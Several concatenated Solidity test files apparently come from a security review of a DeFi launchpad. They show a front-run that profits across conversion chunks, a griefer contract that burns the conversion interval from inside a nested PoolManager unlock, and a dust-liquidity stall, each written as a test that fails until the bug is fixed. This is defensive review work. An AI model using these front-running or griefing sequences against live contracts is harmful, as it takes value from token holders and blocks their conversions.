// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {BaseTest} from "../Base.t.sol";
import {PadGame} from "../../src/PadGame.sol";
import {PoolKey} from "../../src/interfaces/Interfaces.sol";
import {V4Router} from "../RealV4.sol";

contract TestIMD {
    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @notice The repo's sandwich test brackets ONE chunk. Here the attacker buys IMD once, drives every
/// public convertChunk itself (30 s apart), and sells after the last chunk. Same real PoolManager and
/// the same ~68 ETH full-range venue as test/V4Pad.t.sol.
contract ConversionFrontRunTest is BaseTest {
    TestIMD imd;
    PoolKey imdKey;

    function setUp() public override {
        super.setUp();
        TestIMD impl = new TestIMD();
        vm.etch(IMD, address(impl).code);
        imd = TestIMD(IMD);
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        pm.initialize(imdKey, uint160(1 << 96));
        imd.mint(address(router), 100 ether);
        vm.deal(address(router), 100 ether);
        router.add(imdKey, 68 ether);
        openPad();
    }

    function test_heldFrontRunAcrossAllConversionChunksProfits() public {
        mintAll(pvp, 12);
        advance(10 minutes);
        for (uint256 r; r < 49; ++r) {
            for (uint256 i; i < 12; ++i) {
                if (!pvp.ended()) rollAs(pvp, players[i]);
            }
            advance(61);
        }
        vm.warp(pvp.endTime() + 1);
        arb.advance(300);
        while (pvp.pendingCount() != 0) pvp.resolvePending(16);
        pvp.finalize();
        uint256 escrow = pvp.ethRaised();
        emit log_named_uint("curve ETH to convert", escrow);

        // Fair reference: what the escrow would obtain with nobody in front (zero-fee x*y=k bound).
        uint256 front = 10 ether;
        V4Router attacker = new V4Router(pm);
        vm.deal(address(attacker), front);
        attacker.trade(imdKey, true, front); // buy IMD once, before the first chunk

        // The attacker itself drives every chunk at the 30 s interval; nothing else happens in between.
        for (uint256 i; i < 200; ++i) {
            liq.convertChunk(address(pvp));
            (uint256 left,,,,,,) = liq.conversions(address(pvp));
            if (left == 0) break;
            vm.warp(vm.getBlockTimestamp() + 30);
        }
        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));
        assertEq(converted, escrow, "fully converted");
        emit log_named_uint("IMD received by the game (front-run)", received);

        attacker.trade(imdKey, false, imd.balanceOf(address(attacker))); // sell after the last chunk
        emit log_named_uint("attacker ETH after", address(attacker).balance);
        emit log_named_uint("attacker ETH before", front);

        // The repo's claim (testFuzz_sandwichOnConversionChunkLoses) is that bracketing the
        // conversion loses both venue fees. It does not hold once the position is held across chunks.
        assertLt(address(attacker).balance, front, "held front-run across all chunks must not profit");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from "src/interfaces/Interfaces.sol";

contract ArbSysStub {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "window");
        return keccak256(abi.encode("arb", n));
    }
}

contract StubIMD {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Adds IMD/ETH liquidity, and can call PadLiquidity.convertChunk from inside its own unlock.
contract Griefer is IUnlockCallback {
    IPoolManager immutable pm;
    PadLiquidity immutable liq;

    constructor(IPoolManager pm_, PadLiquidity liq_) {
        pm = pm_;
        liq = liq_;
    }

    receive() external payable {}

    function addLiquidity(PoolKey memory key, uint256 l) external {
        pm.unlock(abi.encode(uint8(1), key, l, address(0)));
    }

    function griefConvert(address game) external {
        pm.unlock(abi.encode(uint8(2), PoolKey(address(0), address(0), 0, 0, address(0)), uint256(0), game));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (uint8 action, PoolKey memory key, uint256 l, address game) =
            abi.decode(data, (uint8, PoolKey, uint256, address));
        if (action == 1) {
            (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), "");
            uint256 owe0 = uint256(uint128(-int128(d >> 128)));
            uint256 owe1 = uint256(uint128(-int128(d)));
            pm.sync(address(0));
            pm.settle{value: owe0}();
            pm.sync(key.currency1);
            IERC20Min(key.currency1).transfer(address(pm), owe1);
            pm.settle();
        } else {
            // The manager is unlocked by us; PadLiquidity's own unlock will revert AlreadyUnlocked.
            liq.convertChunk(game);
        }
        return "";
    }
}

contract Deployer {
    PadToken public token;
    PadGame public game;
    PvPPad public pad;
    PadLiquidity public liquidity;
    KingOfThePad public king;

    function deployAll(address owner, address pm, address imd, bytes32 id) external {
        token = new PadToken();
        game = new PadGame();
        pad = new PvPPad(owner, address(token), address(game));
        liquidity = new PadLiquidity(pm, address(pad), imd, id);
        king = new KingOfThePad(address(pad), address(liquidity), owner);
    }
}

/// @notice Fails on the current code: a caller inside a PoolManager unlock can consume a game's
/// 30-second conversion interval without any progress, so repeated calls starve conversion into the
/// 24-hour fallback. Passes once convertChunk refuses to run while the manager is unlocked (or does
/// not record the attempt when the venue call could not even be opened).
contract NestedUnlockGriefTest is Test {
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant OWNER = address(0xBEEF);
    ArbSysStub arb;
    IPoolManager pm;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;
    Griefer griefer;
    PoolKey imdKey;

    function setUp() public {
        vm.warp(1_800_000_000);
        ArbSysStub impl = new ArbSysStub();
        vm.etch(address(0x64), address(impl).code);
        arb = ArbSysStub(address(0x64));
        StubIMD imdImpl = new StubIMD();
        vm.etch(IMD, address(imdImpl).code);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        bytes32 id = keccak256(abi.encode(imdKey));
        Deployer d = new Deployer();
        d.deployAll(OWNER, address(pm), IMD, id);
        pad = d.pad();
        liq = d.liquidity();
        pm.initialize(imdKey, uint160(1 << 96));
        griefer = new Griefer(pm, liq);
        vm.deal(address(griefer), 200 ether);
        StubIMD(IMD).mint(address(griefer), 200 ether);
        griefer.addLiquidity(imdKey, 68 ether);
        // open the pad with a mined hook salt
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
        // one player enters, rolls once, game ends by inactivity, finalize
        address p = address(0xA1);
        vm.deal(p, 1 ether);
        vm.prank(p);
        pvp.enter{value: 0.001 ether}();
        vm.warp(block.timestamp + 10 minutes);
        arb.advance(2400);
        pvp.draw(32);
        arb.advance(4);
        while (!pvp.drawComplete()) pvp.draw(32);
        vm.prank(p);
        pvp.roll{value: 0.002 ether}();
        vm.warp(block.timestamp + 11 minutes);
        arb.advance(300);
        pvp.resolvePending(16);
        pvp.finalize();
        assertGt(pvp.ethRaised(), 0);
    }

    function test_nestedUnlockCallerCannotStarveConversion() public {
        pvp.prepareConversion();
        (uint256 remaining0,,,,,,) = liq.conversions(address(pvp));
        // Attacker lands first in the 30-second window from inside its own unlock.
        griefer.griefConvert(address(pvp));
        (uint256 remaining1, uint256 converted1,, uint64 attempted,,,) = liq.conversions(address(pvp));
        assertEq(remaining1, remaining0, "no progress was made by the griefer");
        assertEq(converted1, 0);
        // Expected: the honest chunk right after still converts. Actual: the interval was consumed
        // by a call that could never reach the venue, and the honest call reverts.
        bool honestOk;
        try liq.convertChunk(address(pvp)) {
            honestOk = true;
        } catch {}
        (, uint256 converted2,,,,,) = liq.conversions(address(pvp));
        assertTrue(
            honestOk && converted2 > 0,
            "a nested-unlock caller consumed the conversion interval without progress (attempted stamp set)"
        );
        assertEq(attempted, 0, "attempt stamped although the venue was never reached");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {
    IPoolManager,
    IUnlockCallback,
    PoolKey,
    ModifyLiquidityParams,
    SwapParams,
    IERC20Min
} from "src/interfaces/Interfaces.sol";

contract FrArbSys {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "window");
        return keccak256(abi.encode("arb", n));
    }
}

contract FrIMD {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 a) external {
        balanceOf[to] += a;
    }

    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract FrRouter is IUnlockCallback {
    IPoolManager immutable pm;

    constructor(IPoolManager p) {
        pm = p;
    }

    receive() external payable {}

    function add(PoolKey memory key, uint256 l) external {
        pm.unlock(abi.encode(uint8(1), key, l));
    }

    function trade(PoolKey memory key, bool zeroForOne, uint256 amount) external {
        pm.unlock(abi.encode(uint8(zeroForOne ? 2 : 3), key, amount));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm), "manager only");
        (uint8 action, PoolKey memory key, uint256 a) = abi.decode(data, (uint8, PoolKey, uint256));
        int256 d;
        if (action == 1) {
            (d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(a), 0), "");
        } else {
            bool dir = action == 2;
            d = pm.swap(
                key, SwapParams(dir, -int256(a), dir ? 4295128740 : 1461446703485210103287273052203988822378723970341), ""
            );
        }
        _settle(key.currency0, int128(d >> 128));
        _settle(key.currency1, int128(d));
        return "";
    }

    function _settle(address c, int128 delta) private {
        if (delta < 0) {
            uint256 amt = uint256(uint128(-delta));
            if (c == address(0)) {
                pm.sync(address(0));
                pm.settle{value: amt}();
            } else {
                pm.sync(c);
                require(IERC20Min(c).transfer(address(pm), amt));
                pm.settle();
            }
        } else if (delta > 0) {
            pm.take(c, address(this), uint256(uint128(delta)));
        }
    }
}

contract FrDeployer {
    PvPPad public pad;
    PadLiquidity public liquidity;

    function deployAll(address owner, address pm, address imd, bytes32 id) external {
        PadToken token = new PadToken();
        PadGame game = new PadGame();
        pad = new PvPPad(owner, address(token), address(game));
        liquidity = new PadLiquidity(pm, address(pad), imd, id);
        new KingOfThePad(address(pad), address(liquidity), owner);
    }
}

/// @notice The repository's sandwich test brackets ONE chunk. Here the attacker buys IMD once, drives
/// every public convertChunk itself (30 s apart) and sells after the last one, on the real PoolManager
/// with a 68 ETH full-range IMD/ETH venue (price 1, fee 1%). Fails on this code: the attacker ends with
/// more ETH than it started with, paid by the game's IMD and so by every coin holder's LP.
contract ReviewFrontRunTest is Test {
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant OWNER = address(0xBEEF);
    FrArbSys arb;
    IPoolManager pm;
    FrRouter router;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;
    PoolKey imdKey;
    address[] players;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new FrArbSys()).code);
        arb = FrArbSys(address(0x64));
        vm.etch(IMD, address(new FrIMD()).code);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        router = new FrRouter(pm);
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        FrDeployer d = new FrDeployer();
        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));
        pad = d.pad();
        liq = d.liquidity();
        pm.initialize(imdKey, uint160(1 << 96));
        vm.deal(address(router), 100 ether);
        FrIMD(IMD).mint(address(router), 100 ether);
        router.add(imdKey, 68 ether);
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
        for (uint256 i; i < 12; ++i) {
            address p = address(uint160(0xA000 + i));
            players.push(p);
            vm.deal(p, 10 ether);
            vm.prank(p);
            pvp.enter{value: 0.001 ether}();
        }
    }

    function advance(uint256 secs) internal {
        vm.warp(vm.getBlockTimestamp() + secs);
        arb.advance(secs * 4);
        if (!pvp.drawComplete() && vm.getBlockTimestamp() >= pvp.signupEnd()) {
            pvp.draw(32);
            arb.advance(4);
            while (!pvp.drawComplete()) pvp.draw(32);
        }
    }

    function test_heldFrontRunAcrossAllConversionChunksMustNotProfit() public {
        advance(10 minutes);
        for (uint256 r; r < 49; ++r) {
            for (uint256 i; i < 12; ++i) {
                if (!pvp.ended()) {
                    vm.prank(players[i]);
                    pvp.roll{value: 0.002 ether}();
                }
            }
            advance(61);
        }
        vm.warp(pvp.endTime() + 1);
        arb.advance(300);
        while (pvp.pendingCount() != 0) pvp.resolvePending(16);
        pvp.finalize();
        uint256 escrow = pvp.ethRaised();
        emit log_named_uint("curve ETH to convert", escrow);

        uint256 front = 10 ether;
        FrRouter attacker = new FrRouter(pm);
        vm.deal(address(attacker), front);
        attacker.trade(imdKey, true, front); // buy IMD once, before the first chunk

        // The attacker drives every chunk at the 30 s interval; nothing else happens in between.
        for (uint256 i; i < 200; ++i) {
            try liq.convertChunk(address(pvp)) {} catch {}
            (uint256 left,,,,,,) = liq.conversions(address(pvp));
            if (left == 0) break;
            vm.warp(vm.getBlockTimestamp() + 30);
        }
        (, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));
        emit log_named_uint("ETH converted", converted);
        emit log_named_uint("IMD received by the game (front-run)", received);

        attacker.trade(imdKey, false, FrIMD(IMD).balanceOf(address(attacker))); // sell after the last chunk
        emit log_named_uint("attacker ETH after", address(attacker).balance);
        emit log_named_uint("attacker ETH before", front);
        assertLt(address(attacker).balance, front, "held front-run across all chunks must not profit");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from "src/interfaces/Interfaces.sol";

contract ArbSysStub {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "window");
        return keccak256(abi.encode("arb", n));
    }
}

contract StubIMD {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @dev Adds IMD/ETH liquidity, and calls PadLiquidity.convertChunk from inside its own unlock.
contract Griefer is IUnlockCallback {
    IPoolManager immutable pm;
    PadLiquidity immutable liq;

    constructor(IPoolManager pm_, PadLiquidity liq_) {
        pm = pm_;
        liq = liq_;
    }

    receive() external payable {}

    function addLiquidity(PoolKey memory key, uint256 l) external {
        pm.unlock(abi.encode(uint8(1), key, l, address(0)));
    }

    function griefConvert(address game) external {
        pm.unlock(abi.encode(uint8(2), PoolKey(address(0), address(0), 0, 0, address(0)), uint256(0), game));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (uint8 action, PoolKey memory key, uint256 l, address game) =
            abi.decode(data, (uint8, PoolKey, uint256, address));
        if (action == 1) {
            (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), "");
            uint256 owe0 = uint256(uint128(-int128(d >> 128)));
            uint256 owe1 = uint256(uint128(-int128(d)));
            pm.sync(address(0));
            pm.settle{value: owe0}();
            pm.sync(key.currency1);
            IERC20Min(key.currency1).transfer(address(pm), owe1);
            pm.settle();
        } else {
            // The manager is unlocked by us; PadLiquidity's own unlock reverts AlreadyUnlocked inside
            // the bounded try, after the per-game attempt stamp was written.
            liq.convertChunk(game);
        }
        return "";
    }
}

contract Deployer {
    PadToken public token;
    PadGame public game;
    PvPPad public pad;
    PadLiquidity public liquidity;
    KingOfThePad public king;

    function deployAll(address owner, address pm, address imd, bytes32 id) external {
        token = new PadToken();
        game = new PadGame();
        pad = new PvPPad(owner, address(token), address(game));
        liquidity = new PadLiquidity(pm, address(pad), imd, id);
        king = new KingOfThePad(address(pad), address(liquidity), owner);
    }
}

/// @notice Fails on the current code: a caller inside a PoolManager unlock consumes a game's 30 s
/// conversion interval without any venue swap, so an honest chunk in the same window reverts.
/// Passes once convertChunk either rejects an unlocked manager or does not record an attempt that
/// never reached the venue (the griefer call is wrapped, so either fix passes).
contract ReviewNestedUnlockTest is Test {
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant OWNER = address(0xBEEF);
    ArbSysStub arb;
    IPoolManager pm;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;
    Griefer griefer;
    PoolKey imdKey;

    function setUp() public {
        vm.warp(1_800_000_000);
        ArbSysStub impl = new ArbSysStub();
        vm.etch(address(0x64), address(impl).code);
        arb = ArbSysStub(address(0x64));
        StubIMD imdImpl = new StubIMD();
        vm.etch(IMD, address(imdImpl).code);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        bytes32 id = keccak256(abi.encode(imdKey));
        Deployer d = new Deployer();
        d.deployAll(OWNER, address(pm), IMD, id);
        pad = d.pad();
        liq = d.liquidity();
        pm.initialize(imdKey, uint160(1 << 96));
        griefer = new Griefer(pm, liq);
        vm.deal(address(griefer), 200 ether);
        StubIMD(IMD).mint(address(griefer), 200 ether);
        griefer.addLiquidity(imdKey, 68 ether);
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
        address p = address(0xA1);
        vm.deal(p, 1 ether);
        vm.prank(p);
        pvp.enter{value: 0.001 ether}();
        vm.warp(block.timestamp + 10 minutes);
        arb.advance(2400);
        pvp.draw(32);
        arb.advance(4);
        while (!pvp.drawComplete()) pvp.draw(32);
        vm.prank(p);
        pvp.roll{value: 0.002 ether}();
        vm.warp(block.timestamp + 11 minutes);
        arb.advance(300);
        pvp.resolvePending(16);
        pvp.finalize();
        assertGt(pvp.ethRaised(), 0);
    }

    function test_nestedUnlockCallerCannotStarveConversion() public {
        pvp.prepareConversion();
        (uint256 remaining0,,,,,,) = liq.conversions(address(pvp));
        // The griefer lands first in the 30-second window from inside its own unlock. A fix that
        // rejects the unlocked manager makes this revert, which is fine for this test.
        try griefer.griefConvert(address(pvp)) {} catch {}
        (uint256 remaining1,,,,,,) = liq.conversions(address(pvp));
        assertEq(remaining1, remaining0, "the griefer itself can never convert anything");
        // Expected: the honest chunk in the same window still converts. Actual on this code: it
        // reverts PadConversionInterval because the attempt stamp was written before the venue call.
        bool honestOk;
        try liq.convertChunk(address(pvp)) {
            honestOk = true;
        } catch {}
        (, uint256 converted2,,,,,) = liq.conversions(address(pvp));
        assertTrue(honestOk, "honest convertChunk reverted: the interval was consumed without a venue swap");
        assertGt(converted2, 0, "honest chunk converted nothing");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from "src/interfaces/Interfaces.sol";

contract DuArbSys {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "window");
        return keccak256(abi.encode("arb", n));
    }
}

contract DuIMD {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 a) external {
        balanceOf[to] += a;
    }

    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract DuRouter is IUnlockCallback {
    IPoolManager immutable pm;

    constructor(IPoolManager p) {
        pm = p;
    }

    receive() external payable {}

    function modify(PoolKey memory key, int256 l) external {
        pm.unlock(abi.encode(key, l));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm), "manager only");
        (PoolKey memory key, int256 l) = abi.decode(data, (PoolKey, int256));
        (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, l, 0), "");
        _settle(key.currency0, int128(d >> 128));
        _settle(key.currency1, int128(d));
        return "";
    }

    function _settle(address c, int128 delta) private {
        if (delta < 0) {
            uint256 amt = uint256(uint128(-delta));
            if (c == address(0)) {
                pm.sync(address(0));
                pm.settle{value: amt}();
            } else {
                pm.sync(c);
                require(IERC20Min(c).transfer(address(pm), amt));
                pm.settle();
            }
        } else if (delta > 0) {
            pm.take(c, address(this), uint256(uint128(delta)));
        }
    }
}

contract DuDeployer {
    PvPPad public pad;
    PadLiquidity public liquidity;

    function deployAll(address owner, address pm, address imd, bytes32 id) external {
        PadToken token = new PadToken();
        PadGame game = new PadGame();
        pad = new PvPPad(owner, address(token), address(game));
        liquidity = new PadLiquidity(pm, address(pad), imd, id);
        new KingOfThePad(address(pad), address(liquidity), owner);
    }
}

/// @notice After the venue's liquidity collapses to dust, every chunk converts a few thousand wei and
/// still counts as progress, so the 24 h fallback never fires while the game is touched once a day.
/// Fails on this code (canGraduate stays false after ten days with <0.1% converted); passes with a
/// progress floor or a total conversion deadline.
contract ReviewDustTest is Test {
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant OWNER = address(0xBEEF);
    DuArbSys arb;
    IPoolManager pm;
    DuRouter router;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;
    PoolKey imdKey;
    address[] players;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new DuArbSys()).code);
        arb = DuArbSys(address(0x64));
        vm.etch(IMD, address(new DuIMD()).code);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        router = new DuRouter(pm);
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        DuDeployer d = new DuDeployer();
        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));
        pad = d.pad();
        liq = d.liquidity();
        pm.initialize(imdKey, uint160(1 << 96));
        vm.deal(address(router), 100 ether);
        DuIMD(IMD).mint(address(router), 100 ether);
        router.modify(imdKey, 68 ether);
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
        for (uint256 i; i < 12; ++i) {
            address p = address(uint160(0xA000 + i));
            players.push(p);
            vm.deal(p, 10 ether);
            vm.prank(p);
            pvp.enter{value: 0.001 ether}();
        }
    }

    function advance(uint256 secs) internal {
        vm.warp(vm.getBlockTimestamp() + secs);
        arb.advance(secs * 4);
        if (!pvp.drawComplete() && vm.getBlockTimestamp() >= pvp.signupEnd()) {
            pvp.draw(32);
            arb.advance(4);
            while (!pvp.drawComplete()) pvp.draw(32);
        }
    }

    function test_dustVenueProgressMustNotPostponeFallbackForever() public {
        advance(10 minutes);
        for (uint256 r; r < 20; ++r) {
            for (uint256 i; i < 12; ++i) {
                if (!pvp.ended()) {
                    vm.prank(players[i]);
                    pvp.roll{value: 0.002 ether}();
                }
            }
            advance(61);
        }
        vm.warp(pvp.endTime() + 1);
        arb.advance(300);
        while (pvp.pendingCount() != 0) pvp.resolvePending(16);
        pvp.finalize();
        uint256 escrow = pvp.ethRaised();
        assertGt(escrow, 0.4 ether);
        // The venue's single LP leaves; a dust position remains.
        router.modify(imdKey, -68 ether);
        router.modify(imdKey, 1e6);
        for (uint256 i; i < 10; ++i) {
            liq.convertChunk(address(pvp));
            vm.warp(vm.getBlockTimestamp() + 23 hours + 50 minutes);
            arb.advance(4);
        }
        (uint256 remaining, uint256 converted, uint256 received,,,,) = liq.conversions(address(pvp));
        emit log_named_uint("remaining ETH after ten days", remaining);
        emit log_named_uint("converted ETH after ten days", converted);
        emit log_named_uint("IMD received after ten days", received);
        assertLt(converted, escrow / 1000, "the dust venue converted less than 0.1% in ten days");
        assertTrue(liq.canGraduate(address(pvp)), "ten days of dust fills must not keep the launch unconvertible");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey, ModifyLiquidityParams, IERC20Min} from "src/interfaces/Interfaces.sol";

contract CkArbSys {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "window");
        return keccak256(abi.encode("arb", n));
    }
}

contract CkIMD {
    mapping(address => uint256) public balanceOf;

    function mint(address to, uint256 a) external {
        balanceOf[to] += a;
    }

    function transfer(address to, uint256 a) external returns (bool) {
        balanceOf[msg.sender] -= a;
        balanceOf[to] += a;
        return true;
    }
}

contract CkRouter is IUnlockCallback {
    IPoolManager immutable pm;

    constructor(IPoolManager p) {
        pm = p;
    }

    receive() external payable {}

    function add(PoolKey memory key, uint256 l) external {
        pm.unlock(abi.encode(key, l));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm), "manager only");
        (PoolKey memory key, uint256 l) = abi.decode(data, (PoolKey, uint256));
        (int256 d,) = pm.modifyLiquidity(key, ModifyLiquidityParams(-887200, 887200, int256(l), 0), "");
        uint256 owe0 = uint256(uint128(-int128(d >> 128)));
        uint256 owe1 = uint256(uint128(-int128(d)));
        pm.sync(address(0));
        pm.settle{value: owe0}();
        pm.sync(key.currency1);
        require(IERC20Min(key.currency1).transfer(address(pm), owe1));
        pm.settle();
        return "";
    }
}

contract CkDeployer {
    PvPPad public pad;
    PadLiquidity public liquidity;

    function deployAll(address owner, address pm, address imd, bytes32 id) external {
        PadToken token = new PadToken();
        PadGame game = new PadGame();
        pad = new PvPPad(owner, address(token), address(game));
        liquidity = new PadLiquidity(pm, address(pad), imd, id);
        new KingOfThePad(address(pad), address(liquidity), owner);
    }
}

/// @notice Healthy 68 ETH IMD/ETH venue. A game finalized and then untouched for 24 h graduates into
/// a native coin/ETH pool on the first poke, without a single conversion attempt. Fails on this code
/// (imdPool is false, converted == 0); passes when the stall clock starts at the first conversion
/// opportunity, or when the lifecycle step tries a chunk before accepting the fallback.
contract ReviewClockTest is Test {
    address constant IMD = 0x5F7Bb59365ce557C26dbcAa4EE9d39A4b95B7127;
    address constant OWNER = address(0xBEEF);
    CkArbSys arb;
    IPoolManager pm;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;
    PoolKey imdKey;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new CkArbSys()).code);
        arb = CkArbSys(address(0x64));
        vm.etch(IMD, address(new CkIMD()).code);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        CkRouter router = new CkRouter(pm);
        imdKey = PoolKey(address(0), IMD, 10_000, 100, address(0));
        CkDeployer d = new CkDeployer();
        d.deployAll(OWNER, address(pm), IMD, keccak256(abi.encode(imdKey)));
        pad = d.pad();
        liq = d.liquidity();
        pm.initialize(imdKey, uint160(1 << 96));
        vm.deal(address(router), 100 ether);
        CkIMD(IMD).mint(address(router), 100 ether);
